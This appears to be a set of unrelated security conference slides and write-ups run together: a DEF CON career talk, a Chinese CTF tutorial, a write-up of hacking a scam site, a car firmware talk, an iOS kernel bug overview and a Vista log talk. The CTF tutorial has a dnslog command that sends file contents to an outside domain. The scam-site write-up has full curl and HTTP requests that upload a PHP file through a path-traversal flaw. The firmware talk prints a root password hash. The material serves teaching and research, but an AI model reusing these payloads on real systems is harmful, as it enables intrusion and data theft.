… formal and informal meetings
… the law/ use of “hacking” tools
… the “hackers vs. security
professional” thingy
… the academic vs. security
professional
… transfer of information/ media/
internet
defcon xv
defcon xv
types of security
events
types of security
events
… hacker-centric cons
… academic-centric cons
… corporate-centric cons
… imho, the social (yeah,
right..) aspect is lacking
from most of them
… hacker-centric cons
… academic-centric cons
… corporate-centric cons
… imho, the social (yeah,
right..) aspect is lacking
from most of them
defcon xv
defcon xv
and the world is
changing
and the world is
changing
… nothing new
… the “online life” is real,
the need for attack and
defense is out there
… email / im/ cellphones/
social networking / e-
commerce/ online banking/ etc
… security in movies/ tv/ etc…
… there is demand for the
security market
… nothing new
… the “online life” is real,
the need for attack and
defense is out there
… email / im/ cellphones/
social networking / e-
commerce/ online banking/ etc
… security in movies/ tv/ etc…
… there is demand for the
security market
defcon xv
defcon xv
meanwhile, in the
hackers world
meanwhile, in the
hackers world
… keep up w/ the new technologies
… new itoys
… new challenges
… same old and new tools
… not only “script-kiddies”,
technology is a tool for *crime
… and $ is a motivation
… keep up w/ the new technologies
… new itoys
… new challenges
… same old and new tools
… not only “script-kiddies”,
technology is a tool for *crime
… and $ is a motivation
defcon xv
defcon xv
there’s a market out
there… but..
there’s a market out
there… but..
defcon xv
defcon xv
moving to the
corporate world
moving to the
corporate world
defcon xv
defcon xv
why did companies stay
away from hackers?
why did companies stay
away from hackers?
… high fear
… low (or no) trust
… “we don’t need security” or
“convenience vs. security”
… “but, no one will try to do that” type
of thing
… for some of the security-suits
(d00shbags) just procedures matter
… security by obscurity
… not being able to comprehend that one
can work, surf pr0n, play games and be
more productive than most of the
regular smurf gang
… high fear
… low (or no) trust
… “we don’t need security” or
“convenience vs. security”
… “but, no one will try to do that” type
of thing
… for some of the security-suits
(d00shbags) just procedures matter
… security by obscurity
… not being able to comprehend that one
can work, surf pr0n, play games and be
more productive than most of the
regular smurf gang
defcon xv
defcon xv
what changed (in some
places) then?
what changed (in some
places) then?
… culture changed (at a certain level)
… needed people with real world vision on what
they were doing
… security became a necessity * / convergence
… “similar” changes in other areas actually
increased revenue
… people that know other focused and smart people
… mostly people who at least question “is this
good for the company?”
… and, in some cases, lack of security turned out
to hurt them $$$
… security is better than bad marketing
… culture changed (at a certain level)
… needed people with real world vision on what
they were doing
… security became a necessity * / convergence
… “similar” changes in other areas actually
increased revenue
… people that know other focused and smart people
… mostly people who at least question “is this
good for the company?”
… and, in some cases, lack of security turned out
to hurt them $$$
… security is better than bad marketing
defcon xv
defcon xv
why do hackers stay away
from the corporate
world?
why do hackers stay away
from the corporate
world?
… usually the bs
… the possibility of having to
deal w/ stupid rules
… the need to deal with stupid
people
… usually the bs
… the possibility of having to
deal w/ stupid rules
… the need to deal with stupid
people
defcon xv
defcon xv
the market
the market
… work for a big company
… work for a small company
… sell your services/ contract
… open your company
… work for a big company
… work for a small company
… sell your services/ contract
… open your company
defcon xv
defcon xv
you
you
… contract job has its ups and downs
… depending on the country/ local
job laws and etc it could actually
be an advantage
… due to the nature of the job, you
could suddenly live/ work anywhere
… to open your own business, having
a great idea sometimes is not
enough and get $ from investors is
virtually impossible in some
countries
… contract job has its ups and downs
… depending on the country/ local
job laws and etc it could actually
be an advantage
… due to the nature of the job, you
could suddenly live/ work anywhere
… to open your own business, having
a great idea sometimes is not
enough and get $ from investors is
virtually impossible in some
countries
defcon xv
defcon xv
size matters : large
x small companies
size matters : large
x small companies
pros
… perks
… more $ *
… no risk
… you’re
backed up
… nice
hotels
… khaos
pros
… perks
… more $ *
… no risk
… you’re
backed up
… nice
hotels
… khaos
CONs
…Boring
…BS over good ideas
…Overall BS
…Stupid-ass procedures
…Lack of focus
…dresscodes
defcon xv
defcon xv
people/ society
people/ society
defcon xv
defcon xv
infosec world
infosec world
… good professionals under bad
management
… bad professionals all around
… good professionals doing the wrong
thing
… security managers (c level folks)
who don’t value and sometimes
don’t understand how important
security actually is
… good professionals & good
management
… good professionals under bad
management
… bad professionals all around
… good professionals doing the wrong
thing
… security managers (c level folks)
who don’t value and sometimes
don’t understand how important
security actually is
… good professionals & good
management
defcon xv
defcon xv
what (usually) can a
hacker do?
what (usually) can a
hacker do?
… consultant
… researcher
… security engineer
… security architect
… developer / programmer
… pen-tester
… manager
… cxo
… consultant
… researcher
… security engineer
… security architect
… developer / programmer
… pen-tester
… manager
… cxo
defcon xv
defcon xv
“insecure” people
“insecure” people
… they are all over the place
… even here! (and that’s not new)
… they manage you
… they manage your systems
… they manage your money
… they work w/ you
… they work for you
… usually somehow you depend on them
… they are all over the place
… even here! (and that’s not new)
… they manage you
… they manage your systems
… they manage your money
… they work w/ you
… they work for you
… usually somehow you depend on them
defcon xv
defcon xv
what hackers (usually)
expect from a job?
what hackers (usually)
expect from a job?
… $
… more $
… fun challenges
… non-d00shbag management chaps
… non-stupid peers and
employees
… $
… more $
… fun challenges
… non-d00shbag management chaps
… non-stupid peers and
employees
defcon xv
defcon xv
challenges
challenges
… “fairly” new market
… people who shouldn’t deal w/
infosec
… some security professionals
… some “hackers”
… some decision making people stupid
enough to pass crazy laws,
procedures, what have you
… people who decide if you’re a good
corporate world slave or not
… “fairly” new market
… people who shouldn’t deal w/
infosec
… some security professionals
… some “hackers”
… some decision making people stupid
enough to pass crazy laws,
procedures, what have you
… people who decide if you’re a good
corporate world slave or not
defcon xv
defcon xv
… more challenges
… more challenges
… people who hire you
… people who pay your bills
… people “trained” to secure
other people (aka. tsa)
… people who work for you
… people who somehow you depend
on to get the sh1t done
… the usual micromanager bs
… and….
… people who hire you
… people who pay your bills
… people “trained” to secure
other people (aka. tsa)
… people who work for you
… people who somehow you depend
on to get the sh1t done
… the usual micromanager bs
… and….
defcon xv
defcon xv
the usual enemies
the usual enemies
defcon xv
defcon xv
ego
ego
“an inflated feeling of pride
in your superiority to
others”
“an inflated feeling of pride
in your superiority to
others”
defcon xv
defcon xv
boringness
boringness
boring·ness n. - adj. - uninteresting and
tiresome; dull.
synonyms: boring, monotonous, tedious,
irksome, tiresome, humdrum
these adjectives refer to what is so
uninteresting as to cause mental
weariness. boring implies feelings of
listlessness and discontent: i had
never read such a boring book.
what is monotonous bores because of lack
of variety: "there is nothing so
desperately monotonous as the sea"
james russell lowell.
tedious suggests dull slowness or long-
windedness: traveling by plane avoids
spending tedious days on the train.
boring·ness n. - adj. - uninteresting and
tiresome; dull.
synonyms: boring, monotonous, tedious,
irksome, tiresome, humdrum
these adjectives refer to what is so
uninteresting as to cause mental
weariness. boring implies feelings of
listlessness and discontent: i had
never read such a boring book.
what is monotonous bores because of lack
of variety: "there is nothing so
desperately monotonous as the sea"
james russell lowell.
tedious suggests dull slowness or long-
windedness: traveling by plane avoids
spending tedious days on the train.
defcon xv
defcon xv
at the end, what’s
really important?
at the end, what’s
really important?
mutual
respect
mutual
respect
defcon xv
defcon xv
wtf should we do to
make it better?
wtf should we do to
make it better?
… take stuff to the next level (rant but
show solutions too)
… respect the company and work that you
do
… make sure your job is fun and pays well
(or look for another job)
… you might be not as good in business as
in technical stuff
… hear and make sure you’re being heard
******
… earn the respect you think you deserve
… take stuff to the next level (rant but
show solutions too)
… respect the company and work that you
do
… make sure your job is fun and pays well
(or look for another job)
… you might be not as good in business as
in technical stuff
… hear and make sure you’re being heard
******
… earn the respect you think you deserve
defcon xv
defcon xv
what should companies do
to make it better?
what should companies do
to make it better?
… flexibility, some tasks are not that
straight-forward
… recognition
… emerging technologies/ provide
resources
… work smart
… less bs more communication
… clever vs. $loppy solutions
… show respect without loosing authority
… delegate tasks and give personal
ownership
… promote individual and team bonu$es
… flexibility, some tasks are not that
straight-forward
… recognition
… emerging technologies/ provide
resources
… work smart
… less bs more communication
… clever vs. $loppy solutions
… show respect without loosing authority
… delegate tasks and give personal
ownership
… promote individual and team bonu$es
defcon xv
defcon xv
con clusion
con clusion
… most of us has seen the bad and the bad
… truth is: things are not totally f’d up,
but…
… … most of the suits still don’t get it
… don’t be in just for the fame or the
money.. love what you do…
it’s up to us to make most of these
things better, we already learned we
can’t expect anything from any of the
motherships if we don’t help them
getting into the right direction
… most of us has seen the bad and the bad
… truth is: things are not totally f’d up,
but…
… … most of the suits still don’t get it
… don’t be in just for the fame or the
money.. love what you do…
it’s up to us to make most of these
things better, we already learned we
can’t expect anything from any of the
motherships if we don’t help them
getting into the right direction
defcon xv
defcon xv
the smart people who also
contributed to some of the
stuff you’ve just seen
the smart people who also
contributed to some of the
stuff you’ve just seen
joanna rutkowska
nick the twichy
phil trainor
gbilly caprino
hacko
lockheed
ronaldo vasconcellos
joanna rutkowska
nick the twichy
phil trainor
gbilly caprino
hacko
lockheed
ronaldo vasconcellos
itzik kotler
nick “i love in & out burger”
farr
adriano maia
alejandro negron
philipe gaspar
defcon xv
defcon xv
thanks
thanks
le (at)dc55.org
le (at)dc55.org | pdf |
命令执行无回显的判断方法及 dnslog 相关例题
一、命令执行判断
命令执行可能会存在命令执行完没有回显,首先要判断命令
是否有执行,可以通过三种方式来判断:延时、HTTP 请求、
DNS 请求。
1、
延时:
无延时无回显
有延时无回显
通过是否延时来判断该条命令是否有执行,有延时则代表命
令有执行。(”sleep 3”表示延时 3 秒)
2、
HTTP 请求:目标机通过向公网可通信的机子发起 http
请求,而这个公网可通信的机子是我们可控的,则当该公
网机子收到 http 请求就代表命令有执行。
例:我们在公网机上可以通过”nc -lv 端口号”来监听该端口,
当目标机”curl 公网机 ip:端口号”的时候,公网机的该端口可
以发现有 http 请求过来。(注意:ping 命令不产生 http 请求)
公网机进行 8000 端口监听
目标机向公网机的 8000 端口发起 http 请求
公网机监听中的 8000 端口收到 http 请求
将”curl 公网机 ip:端口号”命令拼接到地址中进行命令执行
公网机监听中的 8000 端口收到 http 请求说明命令执行成功
3、 DNS 请求:如果请求的目标不是 ip 地址而
是域名,那么域名最终还要转化成 ip 地址,就
肯定要做一次域名解析请求。那么假设我有个
可控的二级域名,那么它发出三级域名解析的
时候,我这边是能够拿到它的域名解析请求的,
这就相当于可以配合 DNS 请求进行命令执行
的判断,这一般就被称为 dnslog。(要通过 dns
请求即可通过 ping 命令,也能通过 curl 命令,
只要对域名进行访问,让域名服务器进行域名
解析就可实现)
例:大家可以去 ceye.io 注册个账号,注册完后会给一个域
名,如果有域名解析请求会有记录。
我这边得到的域名是 wzrtbq.ceye.io,如果我去访问 1111111.
wzrtbq.ceye.io,那么就会记录下来这个域名解析请求。
访问 1111111. wzrtbq.ceye.io
域名解析请求被记录
将访问域名拼接到地址中
域名解析请求被记录
二、利用
1、直接写入或外部下载 shell 执行命令
例:通过命令执行直接得到文件内容
生成 1.txt 拷贝
访问 1.txt
将”=cp where_is_flag.php 1.txt”做为参数传递给 ping,然后
就执行了” cp where_is_flag.php 1.txt”这个命令,生成 1.txt
文件,在去访问 1.txt,就能得到 1.txt 的内容(也就是
where_is_flag.php 的内容),最后找到 flag
2、通过 http 请求/dns 请求等方式带出数据
例:通过 dnslog 带出数据
注意:1、命令执行时要避免空格,空格会导致空格后面的
命令执行不到;2、将读取的文件命令用``包含起来;3、拼
接的域名有长度限制。
读取 where_is_flag.php:`cat where_is_flag.php`
替换读取文件中的空格:`cat where_is_flag.php|sed
s/[[:space:]]//`
拼接域名:`cat where_is_flag.php|sed
s/[[:space:]]//`.wzrtbq.ceye.io
利用 dnslog
得到文件内容(即得到了 flag 文件地址)
获取 flag 文件内容
获取到 flag | pdf |
1. 前言
昨晚看到朋友圈推了个和裸聊诈骗斗智斗勇的视频,点进去一看感觉和上个月搞得一个站的后台很像,
所以想上去看一下,结果网站关了,就通过fofa重新搜了一个存活的网站,发现确实很像。
于是就有了这篇文章,由于很多都是后补的图,可能不是很完整,见谅。
2. 第一次shell
由于上次拿到目标的时候就给了一个域名,所以先浏览一下看看,常规的扫一下目录。
发现存在 uploads , temp , tmp 这几个看起来很像上传文件的目录,而且有 file.php 这个文件,然后发
现扫出很多奇奇怪怪的东西,猜测对应目录nginx应该是设置了php禁止执行。
首页长这样
由于没有给我提供账号密码(后面发现这个是后台登录。。给账号密码就有鬼了),所以我先看扫出来
的路径有什么有价值的东西。
我先进app目录看看,进去之后长这样。
好家伙,赶紧主动一点下一步,然后我发现我点哪都没反应。将ua设置成手机的也不行,用手机模拟器
的浏览器打开也没反应,那就只能看看js有泄露啥敏感的接口吧。然后看到js里面有申请手机的一些权
限,然后有个文件上传的接口。我想应该就是诈骗的诱导这些一时上头的人同意这些操作,然后手机的
短信、联系人、视频、照片等等敏感的东西都通过这个文件上传接口上传到对方服务器上了。
2.1. 任意文件上传
有上传接口那就先测试上传,毕竟如果没限制的话就直接拿下了。
首先看到他上传文件的时候有三个参数,文件,手机号和邀请码,我先尝试只上传文件不带其他参数,通
过burp构造上传包上传之后返回了一个success!
这里我想到之前扫目录的时候扫了三个感觉像上传的目录出来,但是上传之后的文件名也不知道,我这
里就直接猜测他上传之后没有改文件名,因为诈骗人员可能也要根据文件名判断文件是否存在可以利用
的信息。然后尝试了几个目录发现我刚才上传的文件确实就在 /uploads/123.test 下面!后面看
file.php的代码的时候发现其实上传之后是会改文件名的,但是由于我没有提交另外两个参数,所以我上
传的文件名就没有变,代码23-24行。
<?php
require_once('common/Db.php');
require_once('common/Function.php');
$save_path = "";
if($_POST["save_path"]){
$save_path = $_POST["save_path"];
}else{
$save_path = "./uploads/".$_POST['sjh']."/";
}
if (!file_exists($save_path)) {
mkdir($save_path);
}
$save_name = "";
if($_POST["save_name"]){
$save_name = $_POST["save_name"];
}else{
$save_name = basename($_FILES['uploadedfile']['name']);
}
$target_path = $save_path.$save_name;
$result = move_uploaded_file($_FILES['uploadedfile']['tmp_name'],
$target_path);
if($result) {
$sjh= $_POST['sjh'];
$yqm= $_POST['yqm'];
$r=Add('files','imei,imei2,addtime,file',"'".$sjh."','".$yqm."','".time()."
','"."/uploads/".$sjh."/".$save_name."'");
echo "success";
} else{
echo "fail";
}
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
之后我尝试直接上传php文件,上传返回的也是success。我这时候就以为这个目标已经拿下了。
结果,对方通过nginx设置了uploads目录下的php文件禁止执行。
2.2. 佛站
这时候我就想通过佛站找到同类型的站点批量上传一下试试,看看有没有偷懒没配置禁止执行的网站,
顺手扫了一波备份文件没扫到,后面拿下shell的时候发现确实有备份不过名字是猜不出的那种。
由于上传包很简单可以直接通过burp复制出curl command然后在服务器批量上传一下,然后批量检测
一下上传之后是否可以执行。
接下来就能直接getshell下载源码进行审计了,最终发现通过添加save_name参数可以更改上传路径。
下面上传包就可以将文件上传到http://xxxxx/app/123.php.最终拿到shell。打到xss的ip也是云南那边
的。最后提交报告,任务结束。
curl -i -s -k -X $'POST' \
-H $'Host: xxxxx' -H $'Content-Type: multipart/form-data; boundary=----
WebKitFormBoundaryRGCUKchBA0Uphyly' -H $'User-Agent: Mozilla/5.0 (Windows NT
10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.128
Safari/537.36' \
--data-binary $'------WebKitFormBoundaryRGCUKchBA0Uphyly\x0d\x0aContent-
Disposition: form-data; name=\"uploadedfile\";
filename=\"test.php\"\x0d\x0aContent-Type:
image/jpeg\x0d\x0a\x0d\x0a\xef\xbf\xbdPNG\x0d\x0a\x1a\x0a<?php phpinfo();?
>\x0d\x0a------WebKitFormBoundaryRGCUKchBA0Uphyly--\x0d\x0a' \
$'https://xxxxx/file.php'
1
2
3
4
POST /file.php HTTP/1.1
Host: xxxxx
1
2
3. 第二次getshell
在看到朋友圈转发的视频之后,我想起我上面那个案件,由于当时的域名已经失效,并且后台没有截
图,所以通过fo站拿到还存活的站点,进去看一看。
结果发现网站好像已经把这个上传漏洞修补了。
3.1. 上传绕过
经过尝试网站禁止了php、php5后缀的上传,我上传php[1-7]都不解析,全都下回来了。并且目标是
linux服务器,所以后面加空格[.]啥的也没用,然后想了想可以通过.user.ini文件让当前目录php运行时
加载任意文件,通过代码发现他还自带ueditor文件管理器 lib/ueditor/1.4.3/index.html 。由于
move_uploaded_file 函数是会覆盖已存在的文件所以也可以通过更改ueditor的配置文件允许上传php
后缀的文件和指定上传目录也可以getshell。后面经过尝试发现确实都可以,下面我就演示第一种方式
getshell。
Content-Type: multipart/form-data; boundary=----
WebKitFormBoundaryRGCUKchBA0Uphyly
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/89.0.4389.128 Safari/537.36
------WebKitFormBoundaryRGCUKchBA0Uphyly
Content-Disposition: form-data; name="save_path"
./app/
------WebKitFormBoundaryRGCUKchBA0Uphyly
Content-Disposition: form-data; name="uploadedfile"; filename="123.php"
Content-Type: image/jpeg
PNG
•
<?php
phpinfo();
?>
------WebKitFormBoundaryRGCUKchBA0Uphyly--
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
进后台一看发现数据都是七月初的感觉是一个废弃的站点,所以换了一个站点尝试,结果发现上面的方
法不行了,我不论如何修改 save_name 参数文件上传的位置都是在uploads文件下,所以我重新看了
file.php这个文件之后发现sjh这个参数存在路径穿越漏洞,也可以更改文件上传的位置,只需要上
传 ../common 就行了。下面是对方修改之后的代码。
看文件修改时间应该不是和我上个月的渗透有关。
if($_POST["save_path"]){
//$save_path = $_POST["save_path"];
$save_path = "./uploads/".$_POST['sjh']."/";
}else{
$save_path = "./uploads/".$_POST['sjh']."/";
}
1
2
3
4
5
6
进到后台查看页面发现,确实有点像,但不完全像。 | pdf |
@0x222 Paul Such (SCRT)
@Agixid Florian Gaultier (SCRT)
PLAYING WITH CAR FIRMWARE
(OR HOW TO BRICK YOUR CAR)
SUMMARY
•
Who am I ?
•
Hacking car firmware , why ?
•
Model
•
Hidden menu
•
Finding the firmware – sources
•
Analyzing the firmware
•
Some interesting results
•
A 2.2 Ton (4400 pounds) brick
•
Conclusions
WHO AM I ?
•
Name : Paul Such
•
Twitter : @0x222
•
Life : Security Engineer and founders of SCRT (A Swiss security
company specialized in Ethical hacking, IT security, digital forensics)
•
Hobbies : Guitarist, mountain biker, fan of motorsport
•
Organizer of the Swiss security event : Insomni’hack (security
conferences, CTF,…) March 2015
•
Research done with Florian Gaultier
•
Twitter : @agixid
HACKING CAR FIRMWARE ? WHY ?
•
Fun and profit !
•
A lot of researches have already been done regarding CANBUS, OBD2,…
•
Car “entertainment system” can do much more than “entertainment” : you
can nearly control everything : lights. central locking , air conditioning,
GPS, Bluetooth, phone, Wi-Fi, auxiliary heating, …
•
A lot of cars have “built-in” options that are just software-activated : TV,
Wifi, auxiliary heating,… sounds interesting
(MAIN) MODEL
•
Car : VW touareg 2
•
Multimedia : RNS 850 (audi Mmi-3G)
GETTING THE FIRMWARE - SOURCES
•
The hard way : dismount the car , find the disk/flash (in my case -> the
drive is inside the glovebox. Note the IDE/PATA interface, not SATA ! )
•
Buy a RNS850 on Ebay
•
Social engineering : the VW dealer/mechanic
•
For some models : update the GPS => could update the firmware (ex :
audi TT)
•
Google is your friend : RNS850 firmware !
UPLOAD/MODIFY THE FIRMWARE
•
No way but the hard way : direct disk access
•
Find the magic combo (Press PHONE + SET UP together for 3-5 seconds)
•
To reboot the RNS850, you need your 5 fingers (Phone+Climate+Nav+Traffic+Button)
HIDDEN MENUS
HIDDEN MENUS
HIDDEN MENUS
UPLOAD/MODIFY THE FIRMWARE (2)
•
Power-user : OBD2 + VAGCOM + combo
ANALYSING THE FIRMWARE
•
Firmware seems to be a mix of EFS & IFS filesystem
•
We used the tool dumpefs to dump the filesystem
•
http://www.qnx.com/developers/docs/6.3.2/neutrino/utilities/d/dumpefs
•
We had to create a small Python tool to recreate a filesystem using dumpefs output
•
had to deflate some files
•
http://www.qnx.com/developers/docs/6.3.2/neutrino/utilities/d/deflate.html
•
… and Dumpifs (but we had to edit the headers of the files so that dumpifs could extract
the files)
•
http://www.qnx.com/developers/docs/6.3.2/neutrino/utilities/d/dumpifs.html
•
RNS850 is based on QNX !
•
Elf header show a SuperH architecture
EXTRACT-EFS.PY
import sys
import os
import re
if len(sys.argv)!=3:
print "Usage: "+sys.argv[0]+" <file> <directory>"
sys.exit()
f=open(sys.argv[1],"r")
file=f.read()
f.close()
os.system("mkdir "+sys.argv[2])
heads = file.split("------------------------------------------------------------------------------ »)
i=0
while i<len(heads):
params = {}
params_raw = heads[i].split("\x0a")
for j in params_raw:
if len(j.split("="))==2:
params.update({j.split("=")[0]:j.split("=")[1]})
if params.has_key(".mode") and params.has_key("name"):
if params[".mode"].find("d")!=-1:
directory=params["name"].replace('"','')
print "mkdir %s"%directory
os.system("mkdir -p %s/%s"%(sys.argv[2],directory))
else:
file_name=params["name"].replace('"','')
dump = heads[i+1].split("data",1)[1]
lines = dump.split("\n")
dump_hex = ""
for k in lines:
try:
clear_line = k.split(":",1)[1].split(" ",1)[0]
raw_line = clear_line.replace(" ","\\x")
dump_hex += raw_line
dump_raw = eval('"%s"'%dump_hex)
except:
pass
print "create %s/%s/%s"%(sys.argv[2],directory,file_name)
f2=open("%s/%s/%s"%(sys.argv[2],directory,file_name),"w")
f2.write(dump_raw)
f2.close()
i+=1
RESULTS
•
It is a « unix » filesystem
imageInfo/passwd
root:x:0:0:Superuser:/:/bin/ksh
bin:x:1:1:Binaries Commands and Source:/bin:
daemon:x:2:2:System Services:/daemon:
mail:x:8:40:User Mail:/var/spool/mail:
news:x:9:50:Network News:/var/spool/news:
uucp:x:12:60:Network News:/var/spool/news:
ftp:x:14:80:FTP User:/home/ftp:
nobody:x:99:99:Nobody:/:
ppp/shadow
root:UE/zhLVdRLPk.:19545:0:0
inet.d
#ftp stream tcp nowait root /usr/sbin/ftpd in.ftpd -l
telnet stream tcp nowait root /usr/sbin/telnetd in.telnetd
RESULTS
•
..and it leaks a lot of interesting information !
COOL , YOU CAN FIND THE GUYS ON LINKEDIN
RESULTS
•
Leaking internal IP range is also “good practice”, isn’it ?
ifs-root
./proc/boot/server.cfg
10.30.158.0/24 10.30.158.73 # Margi Fremont
172.16.42.0/24 172.16.42.10 # von Karlsbad AudiNG3 nach TS Karlsbad
172.16.43.0/24 172.16.42.10 # Next IP Range from Karlsbad
172.16.98.0/23 172.16.99.1 # Ulm
172.16.163.0/24 172.16.160.5 # VS, Roggenbachstrasse
172.16.166.0/22 172.16.166.152 # Hamburg
172.16.177.0/22 172.16.176.117 # Filderstadt
172.16.201.0/24 172.16.201.46 # Hechingen
172.16.206.0/24 172.16.160.5 # VS, Auf der Steig
172.16.216.0/24 172.16.216.24 # Hildesheim
10.42.102.0/24 172.16.102.9 # QSSL Kanata
10.1.180.0/24 10.1.180.27 # 3Soft 192
Erlangen.168.201.0/24 192.168.201.10 # Audi Ingolstadt
192.168.254.0/24 192.168.1.99 # comlet
10.21.13.0/24 10.21.13.47 # nVidia
RESULTS
•
And yes.. The car can do wifi, so let’s pre-configure some SSID
##### IEEE 802.11 related configuration #######################
# SSID to be used in IEEE 802.11 management frames
ssid=Audi3gpWLANuAP
# Static WEP key configuration
#
# The key number to use when transmitting.
# It must be between 0 and 3, and the corresponding key must be set.
# default: not set
wep_default_key=0
# The WEP keys to use.
# A key may be a quoted string or unquoted hexadecimal digits.
# The key length should be 5, 13, or 16 characters, or 10, 26, or 32
# digits, depending on whether 40-bit (64-bit), 104-bit (128-bit), or
# 128-bit (152-bit) WEP is used.
# Only the default key must be supplied; the others are optional.
# default: not set
#wep_key0=123456789a
#wep_key1=123456789a
#wep_key2=0102030405060708090a0b0c0d
#wep_key3=00112233445566778899aabbcc
OH NO ! HONEY I BRICKED OUR CAR….
•
Long story short : I finally managed to brick my car (yeah , a 4400 pound brick)
•
I do not know exactly why.. (checksum ? Upload problem ?)
•
It happened while trying to replace a dummy text file (SMS pre-configured answers)
•
Took 3 months to fix it !
•
we are sorry, we had to change the “black box” of your car…
CONCLUSIONS
•
Expensive hobby ! … and my friends/wife/family do not want me to do tests with their
cars (anymore)
•
Lot of possibilities.. and work to be done
•
Next : the following libs would be very interesting to look at … :
•
./mmedia/wma9_decoder.so
•
./mmedia/mpega_parser.so
•
./mmedia/wma9_parser.so
•
./mmedia/mp4_parser.so
•
./mmedia/wav_parser.so
QUESTIONS ? | pdf |
Dance with Apple Core
盘古安全实验室
关于我们
• 专业的移动安全研究团队
• 专注物联时代安全
• 专心与最新的安全技术
Apple内核101
• 内核 (XNU)是Mach/BSD的混合体
• 运行的驱动程序在单独分离的一套框架
• “DriverKit”也就是现在的IOKit
Apple内核101
• BSD
• XNU的最上层是POSIX/BSD体系
• 采用FreeBSD6.0的代码
• 提供files, processes/pthread, signals等等
• Apple扩展: 增加了很多独有的syscalls
• Mach
• 内核中的微内核
• NeXTSTEP时代的遗留产物
• 提供task, thread, memory以及IPC通讯机制的实现
• 处理底层的异常,中断及陷入
Apple内核101
• IOKit (DriverKit)
• 自主的驱动程序环境
• 移植自NextSTEP时代的DriverKit
• 采用面向对象,并且受限制的C++框架
• 采用复杂的多层机制”IORegistry”
• 采用它自身的IPC子系统(mach)
• 在内核中parse XML(!!!)
• 内核中主要的attack surface
IOKit 101
• 自包含的运行环境
• IO* API封装着内核态的API
• 驱动相对容易移植
• C++运行库由libkern提供
• 驱动通过IORegistry注册并且分类
• 用户态的API由IOKit.framework提供
• 映射内存至用户态
• 对Userclient提供方法和属性设置接口
IOKit 101
• IOService
• 自动向IORegistry注册驱动
• 在驱动生命周期内提供callback
• 支持notification
• 支持中断处理
• 并且提供Userclient机制和用户态API进行通讯
IOKit 101
• IOKit User Clients
• 直接和用户态交互的接口
• 并非所有驱动都提供User Clients
• 通过继承IOUserClient实现
• 调用的方法保存在vtable
• IOKit会校验对应方法的参数(类型, size)
• Struct / Scalar (二进制数据,以及整数或者内存地址)
IOKit 漏洞举例
• 内核中提供XML解析
• 其中OSUnserializeBinary用于反序列化二进制XML数据
• OSUnserializeBinary 通过动态数组的方式来手动管理OSobject的
指针
• 存在多个漏洞
IOKit 漏洞举例
• CVE-2016-1828 use-after-free漏洞
• 当我们在XML字典中两次设置同一个key的时候,
会导致前一个key的对象指针指向的内容被释
放掉
• 但是OSUnserializeBinary内部动态数组中还保
存了前一个对象的指针
• 当这个指针被引用的时候,导致UAF
IOKit 漏洞举例
• CVE-2016-4655 / CVE-2016-4680
• 内核info-leak漏洞
• 在处理kOSSerializeNumber时,二进制内
容中的长度直接传递给
OSNumner::withNumber函数
IOKit 漏洞举例
• OSNumber
• 实际上长度不能大于64字节
• 但是代码在初始化size的时候并没有对用户输入做验证
• 会影响调用size getter函数numberOfBits()/numberOfBytes()
IOKit 漏洞举例
• is_io_registry_entry_get_property_bytes
• 该函数用于获取指定key的数据
• Bytes=&offsetBytes 指向栈上的数据
• 长度是我们控制的
• bcopy调用会导致泄露栈上的数据
• 函数返回地址/堆地址/cookie
IOKit/MIG 漏洞举例
• IOSurfaceRootUserClient port UAF (CVE-2017-13861)
• UserClient异步调用的时候会释放一个传入的port结构
• IOConnectCallAsyncStructMethod(connect, 17, port, &references, 1, input, sizeof(input),
NULL, NULL);
• 17号调用中的releaseAsyncReference64操作,从而引发iokit_release_port_send释放传入
的port结构
IOKit/MIG 漏洞举例
• IOSurfaceRootUserClient port UAF (CVE-2017-13861)
• 返回至上层的MIG代码时会继续对这个已经释放过port进行清理操作,导致UAF
• ipc_kmsg_destroy->ipc_kmsg_clean->ipc_kmsg_clean_body
• 详细分析:http://blog.pangu.io/iosurfacerootuserclient-port-uaf/
• GP0 wake_port exploit:https://bugs.chromium.org/p/project-
zero/issues/detail?id=1417
IOKit 漏洞挖掘思路
• 堆栈溢出
• 整数溢出
• IOSurface 分配surface对象
• 数组越界
• 数组索引的时候长度用户可控
• TOCTTOU/Double Fetch
• 很多IOService会map一段内存与用户态进程共享,这段共享数据是否会存在问题
• 类型混淆
• Race condition/UAF
• IOService是允许有多个UserClient的,是否正确的设置锁
协处理器的安全问题
• 除了AP之外的其他处理器
• 相机
• Wifi
• SEP
• 固件升级流程是否存在安全问题
• 相机固件才有crc32校验
• SEP芯片内置GID key
协处理器的安全问题
• 协处理器架构 (以SEP为例)
• 采用RTOS
• 和AP通讯采用mailbox机制
• OS之上运行各种app
• 指纹识别
• 认证服务
• 缺少一定的安全防护机制
• 没有ASLR
协处理器的安全问题
• GP0 Wifi漏洞/Broadpwn 通过协处理器打到系统AP
• Broadcom Wifi SoC(System on Chip)架构
• 运行Broadcom修改的RTOS
• 网上可能还能找到一些相似的代码(VMG-1312)
• 与AP(应用处理器)的接口
• SDIO
• PCIE
• 获得Wifi代码芯片执行权限后,再通过PCIE读写物理内存
• PCIE->DART (Device Address Resolution Table)
• 详细细节可以参考: https://googleprojectzero.blogspot.co.id/2017/10/over-air-
vol-2-pt-3-exploiting-wi-fi.html
THANKS
Q&A | pdf |
1
Vista Log Forensics
Dr. Rich Murphey, ACS
Background
Case Study
Engagement
Preliminary Report
Final Report
Vista Event Logging
Logging Service
Vista Event Encoding
Undocumented Internals
Event Log Analysis
Recovery
Correlation
Interpretation
Shadow Copy Services
Provider C
Provider C
Provider B
Provider B
Provider A
Provider A
Controller
Controller
Log files
Log files
Controller
Controller
…
Consumer
Consumer
Real time
delivery
Logged Events
Session 1
Buffers
Session 2
Session 64
Events
Events
Enable/Disable
Session Control
Consumer
Consumer
Windows Kernel
Repair
Correlate
Recover
2
Acknowledgements
Shouts out to:
MD5, Caesar
HTA
Fednaughty
DT
Thanks to:
Jerlyn Mardis, ACS
Josh Pennell, IO Active
Matthew Geiger, CERT
Dedicated to:
BitMonk (HTA/Ad Hoc)
3
Special Thanks To
Sponsor:
Forensics
In-depth Analysis, Expert Witness
Data Recovery
Complex RAID, Exotic File Systems
Consulting
Information Security
This is not:
Legal Advice
Suitable for testimony
4
Rich Murphey
